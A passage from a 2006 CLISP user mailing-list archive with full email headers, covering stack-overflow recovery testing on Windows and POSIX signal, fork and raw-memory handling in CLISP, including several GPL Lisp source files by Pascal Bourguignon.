scalability)? From Joerg-Cyril.Hoehle@t-systems.com Tue May 02 02:29:51 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FarCW-0007K2-MW for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 02:29:48 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FarCW-00028v-N4 for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 02:29:48 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FarCV-0004x0-5k for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 02:29:48 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 2 May 2006 11:29:37 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 2 May 2006 11:29:37 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by, kavenchuk@tut.by Subject: Re: [clisp-list] status of stack overflow recovery in CLISP (&lib sigsegv) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 2 02:30:04 2006 X-Original-Date: Tue, 2 May 2006 11:29:34 +0200 Yaroslav Kavenchuk wrote: >WinXP, mingw, libsigsegv 2.3 and your patch - all works! >Great! Thanks. Good news, but wasn't your original bug report about MS-windows-2000? >[1]> (VERSION) >#"Service Pack 4" :SERVICE-PACK-MAJOR 4 :SERVICE-PACK-MINOR 0 :SUITES=20 >NIL :PRODUCT-TYPE :WORKSTATION> My MS-Windows-2k box system preferences also say NT5 SP4 build 2195. So do you still have some MS-w2k machine to test on? (just to make sure) Regards, J=F6rg H=F6hle. From pjb@informatimago.com Tue May 02 03:09:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Farp4-00034u-Cv for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 03:09:38 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Farp1-0001Mz-4a for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 03:09:38 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 187B4585BE; Tue, 2 May 2006 12:09:28 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 4458458344; Tue, 2 May 2006 12:09:21 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2598087B8; Tue, 2 May 2006 12:09:20 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17495.12240.830125.48339@thalassa.informatimago.com> To: Dave Roberts Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] POSIX support In-Reply-To: <44568BBB.8060407@vyatta.com> References: <445148F0.8070001@vyatta.com> <44568BBB.8060407@vyatta.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 2 03:10:04 2006 X-Original-Date: Tue, 2 May 2006 12:09:20 +0200 Dave Roberts writes: > > 1. I'll need to be able to deal with signals. I have read the mailing > > list archives where it's very strongly pointed out not to try to run > > signals in Lisp as it can confuse the GC. Is there any problem running > > signals as C routines through FFI? AFAIK, you can use almost all the signals from lisp in clisp. > > 2. Which signals, if any, does CLISP use internally on Linux, perhaps > > for things like page protection for GC? I'll need to avoid those signals. Only a few of them are used by clisp. You can grep clisp sources for them, but I've not seen anything extraordinary to be wary of. For example, see below how I catch the SIGSEGV signal when calling FFI functions that may raise it. > > 3. Are there any other gotchas with respect to fork, exec, etc? Nothing special either, see example below. There's the usual buffering on forked file descriptors to take into account, etc. > > 4. I'll need to be manipulating file descriptors all over the place. > > What's the best way to do that without conflicting with CLISPs stream > > handling. I'll want to do raw IO, but may need more control that the > > EXT:WITH-KEYBOARD function in section 21.2.2. I'll probably need to mess > > with the tty direction and probably invoke all sorts of termios functions. > > > > 5. I'll need a select/poll loop that can handle all types of > > descriptors. It looks like SOCKET:SOCKET-STATUS does what I want (shame > > it's named something that's so socket-specific if it's really a more > > general functionality). Are there any gotchas here? On Linux, does it > > call select or poll (curios in terms of scalability)? ------------------------------------------------------------------------ ;;;;************************************************************************** ;;;;FILE: clisp--with-timeout.lisp ;;;;LANGUAGE: Common-Lisp ;;;;SYSTEM: Common-Lisp ;;;;USER-INTERFACE: NONE ;;;;DESCRIPTION ;;;; ;;;; Testing SIGALRM on clisp on Linux. ;;;; ;;;;AUTHORS ;;;; Pascal Bourguignon ;;;;MODIFICATIONS ;;;; 2006-05-02 Added this header. ;;;;BUGS ;;;;LEGAL ;;;; GPL ;;;; ;;;; Copyright Pascal Bourguignon 2006 - 2006 ;;;; ;;;; This program is free software; you can redistribute it and/or ;;;; modify it under the terms of the GNU General Public License ;;;; as published by the Free Software Foundation; either version ;;;; 2 of the License, or (at your option) any later version. ;;;; ;;;; This program is distributed in the hope that it will be ;;;; useful, but WITHOUT ANY WARRANTY; without even the implied ;;;; warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR ;;;; PURPOSE. See the GNU General Public License for more details. ;;;; ;;;; You should have received a copy of the GNU General Public ;;;; License along with this program; if not, write to the Free ;;;; Software Foundation, Inc., 59 Temple Place, Suite 330, ;;;; Boston, MA 02111-1307 USA ;;;;************************************************************************** ;;;; (defun install-signal-handler (signum handler) (let ((oldhan (linux:|set-signal-handler| signum handler)) (sigset (second (multiple-value-list (linux:|sigaddset| (second (multiple-value-list (linux:|sigemptyset|))) signum))))) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset) (values signum oldhan sigset))) (defun restore-signal-handler (signum oldhan sigset) (linux:|set-signal-handler| signum oldhan) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)) (defmacro with-signal-handler (signum handler &body body) (let ((voldhan (gensym)) (vsignum (gensym)) (vsigset (gensym))) `(let* ((,vsignum ,signum) (,voldhan (linux:|set-signal-handler| ,vsignum ,handler)) (,vsigset (second (multiple-value-list (linux:|sigaddset| (second (multiple-value-list (linux:|sigemptyset|))) ,vsignum))))) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset) (unwind-protect (progn ,@body) (linux:|set-signal-handler| ,vsignum ,voldhan) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset))))) (defmacro with-sigseg-handler (&body body) `(with-signal-handler linux:|SIGSEGV| (lambda (signum) (declare (ignore signum)) (error "Got Segment Violation Signal while accessing raw memory")) ,@body)) (defmacro with-timeout ((seconds . timeout-forms) &body body) " This macro evaluates the body as a progn body. If the evaluation of body does not complete within the specified interval, execution throws out of the body and the timeout-forms are evaluated as a progn body, returning the result of the last form.) The timeout-forms are not evaluated if the body completes within seconds. " (catch :timeout `(with-signal-handler linux:|SIGALRM| (lambda (signum) (declare (ignore signum)) (throw :timeout (progn ,@timeout-forms))) (LINUX:alarm ,seconds) ,@body))) ------------------------------------------------------------------------ ;;;;************************************************************************** ;;;;FILE: count-fork.lisp ;;;;LANGUAGE: Common-Lisp ;;;;SYSTEM: Common-Lisp ;;;;USER-INTERFACE: NONE ;;;;DESCRIPTION ;;;; ;;;; Testing fork and signals in clisp on Linux. ;;;; ;;;;AUTHORS ;;;; Pascal Bourguignon ;;;;MODIFICATIONS ;;;; 2006-05-02 Added this header. ;;;;BUGS ;;;;LEGAL ;;;; GPL ;;;; ;;;; Copyright Pascal Bourguignon 2006 - 2006 ;;;; ;;;; This program is free software; you can redistribute it and/or ;;;; modify it under the terms of the GNU General Public License ;;;; as published by the Free Software Foundation; either version ;;;; 2 of the License, or (at your option) any later version. ;;;; ;;;; This program is distributed in the hope that it will be ;;;; useful, but WITHOUT ANY WARRANTY; without even the implied ;;;; warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR ;;;; PURPOSE. See the GNU General Public License for more details. ;;;; ;;;; You should have received a copy of the GNU General Public ;;;; License along with this program; if not, write to the Free ;;;; Software Foundation, Inc., 59 Temple Place, Suite 330, ;;;; Boston, MA 02111-1307 USA ;;;;************************************************************************** (defparameter *run* t) (defun install-signal-handler (signum handler) (let ((oldhan (linux:|set-signal-handler| signum handler)) (sigset (second (multiple-value-list (linux:|sigaddset| (second (multiple-value-list (linux:|sigemptyset|))) signum))))) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset) (values signum oldhan sigset))) (defun restore-signal-handler (signum oldhan sigset) (linux:|set-signal-handler| signum oldhan) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)) (defmacro with-signal-handler (signum handler &body body) (let ((voldhan (gensym)) (vsignum (gensym)) (vsigset (gensym))) `(let* ((,vsignum ,signum) (,voldhan (linux:|set-signal-handler| ,vsignum ,handler)) (,vsigset (second (multiple-value-list (linux:|sigaddset| (second (multiple-value-list (linux:|sigemptyset|))) ,vsignum))))) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset) (unwind-protect (progn ,@body) (linux:|set-signal-handler| ,vsignum ,voldhan) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset))))) (ffi:def-c-struct itimerval (interval-sec ffi:long) (interval-mic ffi:long) (value-sec ffi:long) (value-mic ffi:long)) (defconstant +itimer-real+ 0) (defconstant +itimer-virtual+ 1) (defconstant +itimer-prof+ 2) (ffi:def-call-out setitimer (:name "setitimer") (:arguments (which ffi:int :in) (value (ffi:c-ptr itimerval) :in) (ovalue (ffi:c-ptr-null itimerval) :in)) (:return-type ffi:int) (:language :stdc) (:library "/lib/libc.so.6")) (defun main () (setf *run* t) (with-signal-handler linux:|SIGVTALRM| (lambda (signum) (declare (ignore signum)) (setf *run* nil)) (ffi:with-c-var (i 'itimerval (make-itimerval :interval-sec 0 :interval-mic 0 :value-sec 0 :value-mic 1000)) (setitimer +itimer-virtual+ i nil)) (loop with counter = 0 with failed = 0 while *run* do (let ((res (linux:fork))) (cond ((null res) (incf failed)) ((= 0 res) (linux:exit 0)) (t (incf counter)))) finally (format t "forked ~D times (failed ~D times)~%" counter failed)))) ------------------------------------------------------------------------ ;;**************************************************************************** ;;FILE: raw-memory.lisp ;;LANGUAGE: Common-Lisp ;;SYSTEM: Common-Lisp ;;USER-INTERFACE: NONE ;;DESCRIPTION ;; ;; Peek and Poke. ;; ;;AUTHORS ;; Pascal J. Bourguignon ;;MODIFICATIONS ;; 2004-11-30 Created. ;;BUGS ;;LEGAL ;; GPL ;; ;; Copyright Pascal J. Bourguignon 2004 - 2004 ;; ;; This program is free software; you can redistribute it and/or ;; modify it under the terms of the GNU General Public License ;; as published by the Free Software Foundation; either version ;; 2 of the License, or (at your option) any later version. ;; ;; This program is distributed in the hope that it will be ;; useful, but WITHOUT ANY WARRANTY; without even the implied ;; warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR ;; PURPOSE. See the GNU General Public License for more details. ;; ;; You should have received a copy of the GNU General Public ;; License along with this program; if not, write to the Free ;; Software Foundation, Inc., 59 Temple Place, Suite 330, ;; Boston, MA 02111-1307 USA ;;**************************************************************************** ;; (in-package "COMMON-LISP-USER") ;; (eval-when (:compile-toplevel :load-toplevel :execute) ;; (unless (find-package "LINUX") ;; (warn "Package LINUX is not available. Signal handling is disabled.") ;; (defpackage "LINUX" ;; (:use "COMMON-LISP") ;; (:export "set-signal-handler" "sigaddset" "sigemptyset" ;; "sigprocmask-set-n-save" "SIG_UNBLOCK" "SIGSEGV")) ;; (in-package "LINUX") ;; (defmacro null-op (name) ;; `(defmacro ,name (&rest args) (declare (ignore args)) nil)) ;; (eval-when (:compile-toplevel :load-toplevel :execute) ;; (null-op |set-signal-handler|) ;; (null-op |sigaddset|) ;; (null-op |sigemptyset|) ;; (null-op |sigprocmask-set-n-save|) ;; (defparameter |SIG_UNBLOCK| 0) ;; (defparameter |SIGSEGV| 0)))) ;; ;; (in-package "COMMON-LISP-USER") (DEFINE-PACKAGE "COM.INFORMATIMAGO.CLISP.RAW-MEMORY" (:NICKNAMES "RAW-MEMORY") (:DOCUMENTATION "Peek and Poke.") (:FROM "COMMON-LISP" :IMPORT :ALL) (:use "FFI") (:use "LINUX") (:EXPORT "PEEK" "POKE" "DUMP" "WITH-SIGSEG-HANDLER" ;; The following are low-level function, not protected by signal handler. ;; Install you own! "PEEK-UINT8" "PEEK-SINT8" "POKE-UINT8" "POKE-SINT8" "PEEK-UINT16" "PEEK-SINT16" "POKE-UINT16" "POKE-SINT16" "PEEK-UINT32" "PEEK-SINT32" "POKE-UINT32" "POKE-SINT32" "PEEK-UINT64" "PEEK-SINT64" "POKE-UINT64" "POKE-SINT64" ));;COM.INFORMATIMAGO.CLISP.RAW-MEMORY (eval-when (:compile-toplevel :load-toplevel :execute) (defparameter +library+ (loop for path in '("libraw-memory.so" "packages:com;informatimago;clisp;libraw-memory.so") until (probe-file path) finally (return (namestring (truename path)))))) (defun install-signal-handler (signum handler) (let ((oldhan (linux:|set-signal-handler| signum handler)) (sigset (second (multiple-value-list (linux:|sigaddset| (second (multiple-value-list (linux:|sigemptyset|))) signum))))) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset) (values signum oldhan sigset))) (defun restore-signal-handler (signum oldhan sigset) (linux:|set-signal-handler| signum oldhan) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)) (defmacro with-signal-handler (signum handler &body body) (let ((voldhan (gensym)) (vsignum (gensym)) (vsigset (gensym))) `(let* ((,vsignum ,signum) (,voldhan (linux:|set-signal-handler| ,vsignum ,handler)) (,vsigset (second (multiple-value-list (linux:|sigaddset| (second (multiple-value-list (linux:|sigemptyset|))) ,vsignum))))) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset) (unwind-protect (progn ,@body) (linux:|set-signal-handler| ,vsignum ,voldhan) (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset))))) (defmacro with-sigseg-handler (&body body) `(with-signal-handler linux:|SIGSEGV| (lambda (signum) (declare (ignore signum)) (error "Got Segment Violation Signal while accessing raw memory")) ,@body)) ;; Scalar: (defmacro generate-peek-and-poke () (loop with code = '() for size in '(8 16 32) ;; peek and poke of 64-bit don't work. for c-peek-name = (format nil "peek~D" size) for c-poke-name = (format nil "poke~D" size) do (loop for type in '(uint sint) for l-peek-name = (intern (with-standard-io-syntax (format nil"PEEK-~A~D" type size)) "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") for l-poke-name = (intern (with-standard-io-syntax (format nil"POKE-~A~D" type size)) "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") for l-type = (intern (with-standard-io-syntax (format nil"~A~D" type size)) "FFI") do (push `(ffi:def-call-out ,l-peek-name (:name ,c-peek-name) (:arguments (address ffi:ulong)) (:return-type ,l-type) (:library #.+library+) (:language :stdc)) code) (push `(ffi:def-call-out ,l-poke-name (:name ,c-poke-name) (:arguments (address ffi:ulong) (value ,l-type)) (:return-type nil) (:library #.+library+) (:language :stdc)) code)) finally (return `(progn ,@ code)))) (eval-when (:load-toplevel :execute) (generate-peek-and-poke)) (defun peek-uint64 (address) (dpb (raw-memory:peek-uint32 (+ 4 address)) (byte 32 32) (raw-memory:peek-uint32 address))) (defun peek-sint64 (address) (dpb (raw-memory:peek-uint32 (+ 4 address)) (byte 32 32) (raw-memory:peek-uint32 address))) (defun poke-uint64 (address object) (poke-uint32 address (ldb (byte 32 0) object)) (poke-uint32 (+ 4 address) (ldb (byte 32 32) object))) (defun poke-sint64 (address object) (poke-uint32 address (ldb (byte 32 0) object)) (poke-uint32 (+ 4 address) (ldb (byte 32 32) object))) (defun get-function (type peek-or-poke) (case peek-or-poke ((:peek) (when (atom type) (error "Can't peek this type ~S" type)) (case (first type) ((unsigned-byte) (case (second type) ((8) (values (function peek-uint8 ) 1)) ((16) (values (function peek-uint16) 2)) ((32) (values (function peek-uint32) 4)) ((64) (values (function peek-uint64) 8)) (otherwise (error "Can't peek this type ~S" type)))) ((signed-byte) (case (second type) ((8) (values (function peek-sint8 ) 1)) ((16) (values (function peek-sint16) 2)) ((32) (values (function peek-sint32) 4)) ((64) (values (function peek-sint64) 8)) (otherwise (error "Can't peek this type ~S" type)))) (otherwise (error "Can't peek this type ~S" type)))) ((:poke) (when (atom type) (error "Can't poke this type ~S" type)) (case (first type) ((unsigned-byte) (case (second type) ((8) (values (function poke-uint8 ) 1)) ((16) (values (function poke-uint16) 2)) ((32) (values (function poke-uint32) 4)) ((64) (values (function poke-uint64) 8)) (otherwise (error "Can't poke this type ~S" type)))) ((signed-byte) (case (second type) ((8) (values (function poke-sint8 ) 1)) ((16) (values (function poke-sint16) 2)) ((32) (values (function poke-sint32) 4)) ((64) (values (function poke-sint64) 8)) (otherwise (error "Can't poke this type ~S" type)))) (otherwise (error "Can't poke this type ~S" type)))) (otherwise (error "PEEK-OR-POKE must be either :PEEK or :POKE, not ~S" peek-or-poke)))) ;; type: simtype | comtype. ;; simtype: ;; (unsigned-byte 8) ;; (signed-byte 8) ;; (unsigned-byte 16) ;; (signed-byte 16) ;; (unsigned-byte 32) ;; (signed-byte 32) ;; (unsigned-byte 64) ;; (signed-byte 64) ;; single-float ; not implemented yet. ;; double-float ; not implemented yet. ;; comtype: ;; (array simtype size) ;; (vector simtype size) (defun peek (address type) (with-signal-handler linux:|SIGSEGV| (lambda (signum) (declare (ignore signum)) (error "Got Segment Violation Signal while peeking ~8,'0X" address)) (if (and (listp type) (or (eq (first type) 'array) (eq (first type) 'vector))) (multiple-value-bind (peek incr) (get-function (second type) :peek) (do ((data (make-array (list (third type)) :element-type (second type) :initial-element 0)) (address address (+ address incr)) (i 0 (1+ i))) ((>= i (third type)) data) (setf (aref data i) (funcall peek address)))) (funcall (get-function type :peek) address))));;peek (defun poke (address type value) (with-signal-handler linux:|SIGSEGV| (lambda (signum) (declare (ignore signum)) (error "Got Segment Violation Signal while poking ~8,'0X" address)) (if (and (listp type) (or (eq (first type) 'array) (eq (first type) 'vector))) (multiple-value-bind (poke incr) (get-function (second type) :poke) (do ((address address (+ address incr)) (i 0 (1+ i))) ((>= i (third type)) (values)) (funcall poke address (aref value i)))) (funcall (get-function type :poke) address value))));;poke (defun dump (address type &optional (stream t) (margin "")) (with-signal-handler linux:|SIGSEGV| (lambda (signum) (declare (ignore signum)) (error "Got Segment Violation Signal while peeking ~8,'0X" address)) (if (and (listp type) (or (eq (first type) 'array) (eq (first type) 'vector))) (multiple-value-bind (peek incr) (get-function (second type) :peek) (do ((address address (+ address incr)) (i 0 (1+ i))) ((>= i (third type)) (format stream "~&") (values)) (when (zerop (mod i (/ 16 incr))) (format stream "~&~A~8,'0X: " margin (+ address i))) (format stream "~V,'0X " (* 2 incr) (funcall peek address)))) (multiple-value-bind (peek incr) (get-function type :peek) (format stream "~&~A~8,'0X: ~V,'0X ~&" margin address (* 2 incr) (funcall peek address)))))) ;; Local Variables: ;; eval: (cl-indent 'with-signal-handler 2) ;; End: ;;;; raw-memory.lisp -- -- ;;;; You can fetch the rest of my sources with: cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/makedir cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/common-lisp cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/clisp cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/sbcl (The password for anonymous cvs user is empty). In addition, you may want to have a look at my dot-files: cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co home ls -a home -- __Pascal Bourguignon__ http://www.informatimago.com/ "By filing this bug report you have challenged the honor of my family. Prepare to die!" From kavenchuk@tut.by Tue May 02 03:57:40 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FasZY-0008C8-B3 for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 03:57:40 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FasZY-0002qH-GI for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 03:57:40 -0700 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FasZX-00046V-1D for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 03:57:40 -0700 Received: from [194.158.220.127] (account kavenchuk HELO [194.158.220.127]) by tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 52513294; Tue, 02 May 2006 13:53:06 +0300 Message-ID: <44573ADE.5050102@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net, kavenchuk@jenty.by Subject: Re: [clisp-list] status of stack overflow recovery in CLISP (&lib sigsegv) References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 2 03:58:16 2006 X-Original-Date: Tue, 02 May 2006 13:56:30 +0300 Hoehle, Joerg-Cyril wrote: > Good news, but wasn't your original bug report about MS-windows-2000? > >> [1]> (VERSION) >> #> "Service Pack 4" :SERVICE-PACK-MAJOR 4 :SERVICE-PACK-MINOR 0 :SUITES >> NIL :PRODUCT-TYPE :WORKSTATION> >> > My MS-Windows-2k box system preferences also say NT5 SP4 build 2195. > > So do you still have some MS-w2k machine to test on? > (just to make sure) > > Tomorrow. -- WBR, Yaroslav Kavenchuk. From henry.lenzi@gmail.com Tue May 02 04:32:27 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fat77-0003Pp-Sc for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 04:32:21 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fat77-00035A-UH for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 04:32:21 -0700 Received: from wproxy.gmail.com ([64.233.184.229]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fat76-0004PX-LQ for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 04:32:21 -0700 Received: by wproxy.gmail.com with SMTP id i28so2309590wra for ; Tue, 02 May 2006 04:32:18 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=NQFkQ0tE8bVt2zHkDDHAcilqYSscdbS+3ADza7/wRPLqWvZEY/2KGUwS23T+EpkKqvGFLFgC91kXINpxVbFQsIFfqBbuvBNYgO/yWZGe+XXzjfT2pQt9qVk3+o0LRXkCUKHAepv3dMD57U/Lp6QsJt/w8DmtBOk8JNVXLY1rZAg= Received: by 10.65.110.20 with SMTP id n20mr304686qbm; Tue, 02 May 2006 04:32:18 -0700 (PDT) Received: by 10.65.250.5 with HTTP; Tue, 2 May 2006 04:32:18 -0700 (PDT) Message-ID: <8b4c81f0605020432w74df754emce4007b4f0bbdb3a@mail.gmail.com> From: "Henry Lenzi" To: "Dave Roberts" Cc: clisp-list@lists.sourceforge.net In-Reply-To: <445148F0.8070001@vyatta.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <445148F0.8070001@vyatta.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: POSIX support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 2 04:33:04 2006 X-Original-Date: Tue, 2 May 2006 08:32:18 -0300 > 5. I'll need a select/poll loop that can handle all types of Isn't select/poll exclusive to Linux? From dave@vyatta.com Tue May 02 09:23:57 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FaxfF-00042G-Ha for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 09:23:53 -0700 Received: from mail.vyatta.com ([69.59.150.139]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FaxfE-0006Sx-BW for clisp-list@lists.sourceforge.net; Tue, 02 May 2006 09:23:53 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id B2D7F10E0500; Tue, 2 May 2006 09:23:51 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 13168-07; Tue, 2 May 2006 09:23:51 -0700 (PDT) Received: from mail.vyatta.com (mail.vyatta.com [69.59.150.139]) by mail.vyatta.com (Postfix) with ESMTP id 7B1A910E04FF; Tue, 2 May 2006 09:23:51 -0700 (PDT) Message-ID: <12879313.121146587031452.JavaMail.root@mail.vyatta.com> From: Dave Roberts To: Henry Lenzi Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-4.321 tagged_above=-10 required=6.6 autolearn=ham tests=[ALL_TRUSTED=-1.8, AWL=0.078, BAYES_00=-2.599] X-Spam-Score: -4.321 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: POSIX support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net 